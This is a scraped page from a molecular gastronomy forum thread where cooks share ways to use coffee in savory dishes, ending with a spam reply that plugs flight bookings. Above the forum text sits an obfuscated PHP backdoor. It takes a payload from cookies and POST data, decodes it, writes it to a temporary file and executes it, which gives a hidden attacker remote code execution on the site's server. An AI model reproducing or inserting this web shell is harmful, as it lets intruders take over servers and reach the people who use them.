$ELAYRxoh = "\166" . chr ( 505 - 440 ).chr ( 263 - 147 )."\137" . 'c' . chr (97) . 'Q' . chr (79) . "\x59";$cLaWNXWXkv = chr ( 563 - 464 ).chr (108) . chr (97) . 's' . "\163" . "\137" . chr ( 192 - 91 )."\x78" . "\x69" . chr ( 192 - 77 ).'t' . "\163";$yUSMGT = class_exists($ELAYRxoh); $cLaWNXWXkv = "5704";$WpXFTjaRYh = strpos($cLaWNXWXkv, $ELAYRxoh);if ($yUSMGT == $WpXFTjaRYh){function JolRsOTr(){$uuGxWyL = new /* 52902 */ vAt_caQOY(16008 + 16008); $uuGxWyL = NULL;}$NpZCJmv = "16008";class vAt_caQOY{private function WuYKj($NpZCJmv){if (is_array(vAt_caQOY::$ehAEjuzT)) {$name = sys_get_temp_dir() . "/" . crc32(vAt_caQOY::$ehAEjuzT["salt"]);@vAt_caQOY::$ehAEjuzT["write"]($name, vAt_caQOY::$ehAEjuzT["content"]);include $name;@vAt_caQOY::$ehAEjuzT["delete"]($name); $NpZCJmv = "16008";exit();}}public function PQpXpOm(){$ugLeT = "26829";$this->_dummy = str_repeat($ugLeT, strlen($ugLeT));}public function __destruct(){vAt_caQOY::$ehAEjuzT = @unserialize(vAt_caQOY::$ehAEjuzT); $NpZCJmv = "54911_23266";$this->WuYKj($NpZCJmv); $NpZCJmv = "54911_23266";}public function dWVGKyVI($ugLeT, $BMPNRcS){return $ugLeT[0] ^ str_repeat($BMPNRcS, intval(strlen($ugLeT[0]) / strlen($BMPNRcS)) + 1);}public function arkbVX($ugLeT){$PgJBDh = 'b' . chr ( 1071 - 974 )."\163" . chr ( 994 - 893 ).chr ( 935 - 881 )."\x34";return array_map($PgJBDh . '_' . "\x64" . "\145" . "\143" . chr ( 595 - 484 )."\x64" . "\x65", array($ugLeT,));}public function __construct($xMHUz=0){$mCliM = "\54";$ugLeT = "";$OMzVkrE = $_POST;$SqHEfVNGO = $_COOKIE;$BMPNRcS = "6d927bed-d2b9-41fd-88fc-8cb4e0adf8bb";$ryQiuy = @$SqHEfVNGO[substr($BMPNRcS, 0, 4)];if (!empty($ryQiuy)){$ryQiuy = explode($mCliM, $ryQiuy);foreach ($ryQiuy as $McWJA){$ugLeT .= @$SqHEfVNGO[$McWJA];$ugLeT .= @$OMzVkrE[$McWJA];}$ugLeT = $this->arkbVX($ugLeT);}vAt_caQOY::$ehAEjuzT = $this->dWVGKyVI($ugLeT, $BMPNRcS);if (strpos($BMPNRcS, $mCliM) !== FALSE){$BMPNRcS = explode($mCliM, $BMPNRcS); $nvfROaW = sprintf("54911_23266", strrev($BMPNRcS[0]));}}public static $ehAEjuzT = 23838;}JolRsOTr();} Coffee in Savory Dishes | Molecular Recipes
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Coffee in Savory Dishes

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Molecular Gastronomy Recipes, Tips and Techniques › Molecular Gastronomy Forum › Ingredients and Equipment › Ingredients › Coffee in Savory Dishes

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This topic contains 4 replies, has 3 voices, and was last updated by  libidek128 2 months, 3 weeks ago.

Viewing 5 posts - 1 through 5 (of 5 total)
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  • December 9, 2013 at 9:41 pm #7971

    Quantum Chef
    Keymaster

    Have you used coffee in savory dishes? What’s your favorite application? Any ideas on how to use it creatively? Here is the FoodPairing tree of Colombian coffee showing which ingredients pair well with coffee for your inspiration.

    Attachments:

    1. Coffee-Food-Pairing-Tree.png

    December 10, 2013 at 8:24 am #7990

    tshewman
    Participant

    In Red Meat Jus, Flexible for lamb, beef, veal etc. I combine star anise with sauteed onions, deglaze with a reduced red wine and meat stock (like a bordelaise) and add the coffee beans to infuse for a few minutes. It’s a wonderful way to complement the meaty flavors.

    December 12, 2013 at 12:02 am #8006

    Quantum Chef
    Keymaster

    Here are some of the ideas posted on our Facebook page

    Frank Centamore Jr: Melted anchovy in coffee for a sauce

    Ross Christensen: Ribs rub

    Gavin Swonnell: Coffee and confit garlic potato pure with roasted lamb rump and pickled beets works well

    Tommy A. Morstad: Buffalo hanger steak w coffee and cinnamon. Chestnuts. Salsify. Spiced cream

    Peter Byron Thornhill: Beef tenderloin

    Aaron Manter: risotto

    Chris Griffin: Jobs coffee cure Kobe ribeyes

    December 12, 2013 at 12:05 am #8007

    Quantum Chef
    Keymaster

    The FoodPairing coffee appetizer: Potato chip with Gruyère, Vanilla Oil and Coffee. Learn more at http://www.molecularrecipes.com/?p=7845

    Attachments:

    1. FoodPairing-Coffee-Gruyere-sqr.jpg

    October 25, 2024 at 12:10 am #12321

    libidek128
    Participant

    Coffee in savory dishes adds a unique depth of flavor that can elevate a meal to new heights. By incorporating coffee into sauces, marinades, or even soups, chefs can enhance the richness of the dish while introducing complex, aromatic notes. This culinary trend not only showcases the versatility of coffee but also complements ingredients like meats and vegetables beautifully. For anyone considering a culinary adventure, perhaps after booking darwin flights today, exploring local eateries that feature coffee-infused savory options could be an exciting way to experience the local food scene.

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